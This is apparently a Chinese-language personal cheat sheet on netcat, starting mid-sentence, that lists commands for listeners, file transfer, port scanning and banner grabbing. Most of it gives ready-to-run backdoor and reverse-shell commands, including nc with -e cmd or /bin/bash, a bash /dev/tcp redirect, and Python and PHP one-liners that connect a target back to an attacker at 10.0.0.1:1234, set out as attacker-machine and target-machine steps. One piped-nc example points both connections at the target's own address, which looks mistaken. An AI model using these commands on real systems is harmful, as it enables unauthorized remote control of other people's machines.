?一下,怕以后自己用的少忘记了。

⚪创建一个服务端

nc -l -p [端口]

-l:开启监听模式。

-p:指定监听端口。

⚪创建一个客户端(连接服务端)

nc -nv [服务端ip] [服务端端口]

-n:直接使用IP地址,而不通过域名服务器。

-v:显示指令执行过程。

建立监听型后门(Windows)

nc -l -p [端口] -e cmd

-e:执行某个程序。表明连接之后要返回给连接端的程序是哪个。

⚪建立监听型后门(Linux)

nc -l -p [端口] -e /bin/bash

/bin/bash:Linux下执行命令的一个文件。

⚪建立连接型后门(Windows)

nc -nv [服务端ip] [服务端端口] -e cmd

⚪建立连接型后门(Linux)

nc -nv [服务端ip] [服务端端口] -e /bin/bash

⚪客户端向服务端传输文件

服务端:nc -l -p [端口] >shell.txt

客户端:nc -nv [服务端ip] [服务端端口] < 文件名

大于号接收,小于号上传。

>shell.txt:重定向。把收到的文件重定向到当前目录下并重命名为shell.txt。

注:传输好文件后必须中断连接才有字节,要么文件字节会显示为0。服务端向客户端传输文件方法同,不再赘述。

⚪端口扫描

nc -v -n -z -w1 [ip] [开始端口-结束端口]

-z:端口扫描。报告开放的端口,而不是启动连接。

-w1:超时时间为1秒。

⚪获取端口服务的Banner信息

echo ” ” | nc -v -n -w1 [ip] [开始端口-结束端口]

echo ” “:使用echo输出什么都没有的” “。

|:管道符。通过管道连接发送到对应的端口服务上。

⚪使用bash反弹shell

当目标为Linux机器,而且它没有NetCat时适用。

攻击机:nc -l -p [端口]

目标机:bash -i >& /dev/tcp/[攻击机IP]/[攻击机端口] 0>&1

bash -i :表示已交互模式运行bash shell。

>& :重定向符。

/dev/tcp/[攻击机IP]/[攻击机端口]:传递给远程主机对应的ip和端口。

0>&1:0是标准输入,1是标准输出。0>&1即将标准输入重定向到标准输出。

⚪使用Python反弹Shell

当目标主机没有NetCat,但有Python环境时适用。(Linux默认安装Python)

攻击机:nc -l -p [端口]

目标机:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

⚪不使用-e参数反弹shell

当目标主机存在NetCat,但因为防护软件等原因不支持-e参数的情况。

攻击机开启两个nc,一个作为输入,一个作为输出。

目标机上将输入通过管道传给/bin/bash,再通过管道来传递输出。

攻击机:

nc -l -p [端口1]

nc -l -p [端口2]

目标机:

nc [目标机ip] [目标机端口1] | /bin/bash |nc [目标机ip] [目标机端口2]

⚪使用PHP反弹Shell

当目标主机没有Bash,Python环境,但是有PHP环境时适用。

攻击机:nc -l -p [端口]

目标机:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

注:这种方法需要PHP关闭safe_mode选项,要么不能使用exec函数。